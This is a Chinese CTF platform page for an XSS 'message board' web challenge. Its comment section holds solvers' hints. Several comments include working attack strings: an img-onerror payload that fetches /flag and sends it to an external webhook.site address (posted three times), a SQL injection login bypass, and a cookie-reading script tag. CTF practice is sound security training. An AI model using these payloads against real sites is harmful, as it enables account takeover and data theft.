留言板WEB 未解决

分数: 10 金币: 3
题目作者: harry
一　　血: ꧁༺༽༾ཊ彪ཏ༿༼༻꧂
一血奖励: 5金币
解　　决: 3567
提　　示: 题目无需登录后台！需要xss平台接收flag
描　　述:
http协议需要http协议的xss平台
...
登录回复
评论
w12345 1月前
举报

进入admin.php文件通过登录将自己上传的xss代码进行回显，然后再上传<script>alert|document.cookie|</script>。就可以出flag了

回复 1
兄弟不要颓废 1月前
举报

https://www.yuque.com/xiongdibietuifeile/vr6h2q/flap13mdc8f9s0ce#smnAi 欢迎各位大佬批评指正

回复 0
厌弃. 2月前
举报

好像登录才能触发xss

回复 0
小石 3月前
举报

进入admin.php后，刷新不会弹出对话框，自己进去调试界面看一下cookie即可。

回复 0
Terrenc44 3月前
举报

不用xss，dns外带一下，一样可以的

回复 0
追风的牛牛 3月前
举报

笑死了,他把db那个数据库路径删除了

回复 0
song..22 5月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 0
song..22 5月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 1
song..22 5月前
举报

<img src=x onerror="fetch('/flag').then(r=>r.text()).then(d=>fetch('http://webhook.site/59ef6d33-3e0e-4a78-82f8-f38d98eff154?flag='+encodeURIComponent(d)))">

回复 0
Gcysnd 6月前
举报

挺容易，挖到admin后台/admin.php用1' or '1' = '1' --万能用户名登录后发现存在html注入点，于是聊天室发送<script>alert(cookie)</scirpt>找到flag

回复 0
xxsko 6月前
举报

万能用户名你可以?我用你这个也不行1' or '1' = '1' --万能用户名

回复 0

WriteUp

image
丶我亚索贼六

5 金币

立即查看

评分(20)

解题动态

evilpwn 攻破了该题 15小时前
倩123 攻破了该题 2天前
zako~ 攻破了该题 2天前
寤闈 攻破了该题 3天前
swty 攻破了该题 3天前
DouBlesing 攻破了该题 5天前
沐头人 攻破了该题 5天前
人民战士 攻破了该题 7天前
Ann 攻破了该题 7天前
lonewolf0078 攻破了该题 7天前
kingx3 攻破了该题 9天前
一江明月送归舟 攻破了该题 11天前
weiyili 攻破了该题 11天前
一介村妇 攻破了该题 14天前
香克斯呀 攻破了该题 14天前
xoc 攻破了该题 16天前
GCC 攻破了该题 20天前
0owo0 攻破了该题 20天前
Alter 攻破了该题 21天前
xiaoxiang07 攻破了该题 22天前
问题反馈